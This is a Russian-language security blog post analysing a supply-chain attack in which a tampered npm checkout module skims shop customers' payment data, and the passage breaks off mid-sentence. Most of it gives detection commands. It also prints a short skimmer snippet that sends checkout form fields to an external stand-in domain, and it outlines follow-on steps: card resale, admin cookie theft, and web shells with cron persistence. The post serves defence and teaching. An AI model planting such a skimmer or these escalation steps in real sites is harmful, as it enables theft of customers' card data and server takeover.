CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Как заражённое обновление npm-модуля почти слило базу 12 000 клиентов интернет-магазина

Разбираем техническую механику supply-chain атаки через готовые модули сайта: как подмена одного пакета превращается в скрытый скиммер данных покупателей — и что с этим делать на уровне инфраструктуры, а не только на словах «обновляйтесь вовремя».

Разбор CIOlogia

Заказчик просто хотел ускорить сайт перед распродажей. Разработчики обновили несколько готовых модулей — корзину, форму заказа, витрину товаров. Обычная рутина, которую делают тысячи сайтов каждый день. Только один из модулей оказался не тем, чем выглядел: официальный автор всё сделал правильно, но кто-то подменил версию в цепочке поставки — и внутрь легитимного пакета встроил код, тихо собирающий данные покупателей и отправляющий их на внешний сервер.

Тихий гость в обновлении

Это не гипотетический сценарий. Ровно по такой схеме недавно Amazon связала компрометацию четырёх популярных JavaScript-пакетов с северокорейской группировкой: атакующие не ломали сайты напрямую, а внедрялись в код, которым эти сайты пользуются как строительными блоками. Похожая история — компрометация CDN-сервиса polyfill.io в 2024 году, когда через один подключаемый скрипт заражению подверглись десятки тысяч сайтов по всему миру, включая крупные бренды. Ещё раньше был знаменитый инцидент с пакетом event-stream (2018) — вредоносная зависимость flatmap-stream охотилась именно за кошельками и платёжными данными. Схема одна и та же уже больше пяти лет, просто с новыми жертвами каждый раз.

Где была дыра

Проблема не в архитектуре сайта — фронтенд и бэкенд писались аккуратно. Проблема в том, что 90% кода современного интернет-магазина — это чужие готовые компоненты: библиотеки корзины, виджеты оплаты, аналитические скрипты, npm-зависимости фронтенда, компоненты CMS. Они подтягиваются автоматически при каждом npm install, composer update или обновлении модуля из маркетплейса CMS — и почти никогда не проверяются построчно ни разработчиком, ни заказчиком.

Если атакующий получает доступ к аккаунту мейнтейнера пакета (фишинг, утечка токена публикации, слабый пароль без 2FA) или к CI/CD-пайплайну сборки библиотеки — он публикует «обновлённую» версию с полезной нагрузкой внутри. Дальше цепочка срабатывает сама: автообновления тянут заражённую версию на тысячи сайтов одновременно, без единого клика жертвы по фишинговой ссылке.

Как это эксплуатируется

Пошагово атака выглядит так — я привожу инструменты и команды, которыми это и обнаруживается, и воспроизводится в контролируемых условиях при пентесте.

1. Компрометация цепочки поставки

Атакующий публикует вредоносную версию пакета в npm-реестре (или подменяет CDN-раздачу). Разница с оригиналом обычно в один-два коммита, спрятанных в минифицированном бандле.

# сравнение опубликованной версии с исходником на GitHub
npm view checkout-widget@2.4.1 dist.shasum
# f3a9c1... — сверяем с хэшем релиза на GitHub

git clone https://github.com/vendor/checkout-widget.git
cd checkout-widget && git checkout v2.4.1
sha256sum dist/bundle.min.js
# сравниваем с тем, что реально лежит в node_modules на проде
sha256sum ./node_modules/checkout-widget/dist/bundle.min.js

Если хэши не совпадают при одинаковом номере версии — это прямой признак подмены пакета «на лету» через прокси-реестр или скомпрометированный CDN.

2. Автоматическая доставка на прод

Дальше срабатывает обычный пайплайн: npm update без залоченных версий, деплой скрипт без промежуточного стенда, автосборка по крону — заражённая зависимость молча попадает в продакшн-бандл.

$ npm update
+ checkout-widget@2.4.1
updated 1 package in 3.2s

Никаких предупреждений — npm audit тут бесполезен, потому что вредоносный код ещё не попал в базы известных CVE:

$ npm audit
found 0 vulnerabilities

3. Обфускация и маскировка полезной нагрузки

Код скиммера прячут в минифицированном JS через eval(atob(...)) или подобные конструкции, чтобы он не бросался в глаза при code review.

# деобфускация подозрительного бандла
npx js-beautify dist/bundle.min.js -o dist/bundle.readable.js
grep -n "atob(" dist/bundle.readable.js
grep -n "fetch(\|XMLHttpRequest\|new Image()" dist/bundle.readable.js

Типичный найденный паттерн — скрипт слушает событие submit формы оплаты и отправляет сериализованные поля на сторонний домен под видом «аналитики»:

document.querySelector('#checkout-form').addEventListener('submit', e => {
  fetch('https://cdn-stats-track[.]net/collect', {
    method: 'POST',
    body: btoa(JSON.stringify(formDataToObject(e.target)))
  });
});

4. Обнаружение по сетевому трафику

Пентест-проверка модулей начинается не с чтения кода целиком (в крупном бандле это нереально), а с перехвата реального трафика страницы оплаты.

# перехват исходящего трафика со страницы checkout
mitmproxy --mode transparent -p 8080

# либо быстрее — прямой дамп на сервере
tcpdump -A -i eth0 'tcp port 443 and host cdn-stats-track.net'

# автоматизированный скан известных сигнатур скиммеров
nuclei -u https://shop.example -t http/exposures/ -t network/detection/ -tags magecart,skimmer
[skimmer-signature-detected] [http] [critical] https://shop.example/checkout
    matched-at: https://shop.example/checkout
    extracted: fetch('https://cdn-stats-track.net/collect'

Именно нетипичный внешний запрос — «домен, которого не должно быть в списке разрешённых поставщиков», — и был первым индикатором в разобранном случае.

Что и почему сработало бы дальше

Если бы утечку не поймали до старта распродажи, у атакующего был бы естественный путь развития:

  • Монетизация карточных данных — CVV/PAN, перехваченные на форме оплаты, продаются пачками на карточных форумах; средняя цена валидной пары «карта + владелец» на теневых площадках — от 500 до 3000 рублей за штуку, при 12 000 клиентов и части транзакций с сохранёнными данными это конвертируется в заметный доход для группы.
  • Захват сессии администратора — тот же скиммер-скрипт легко расширяется до перехвата cookies и токенов авторизации в админке CMS, если модуль подключён не только на витрине, но и в личном кабинете.
  • Пивотинг на хостинг — получив доступ к админке, атакующий заливает веб-шелл (типичный сценарий — c99.php/b374k под видом файла темы), закрепляется через cron-задачу и использует сервер как плацдарм для дальнейших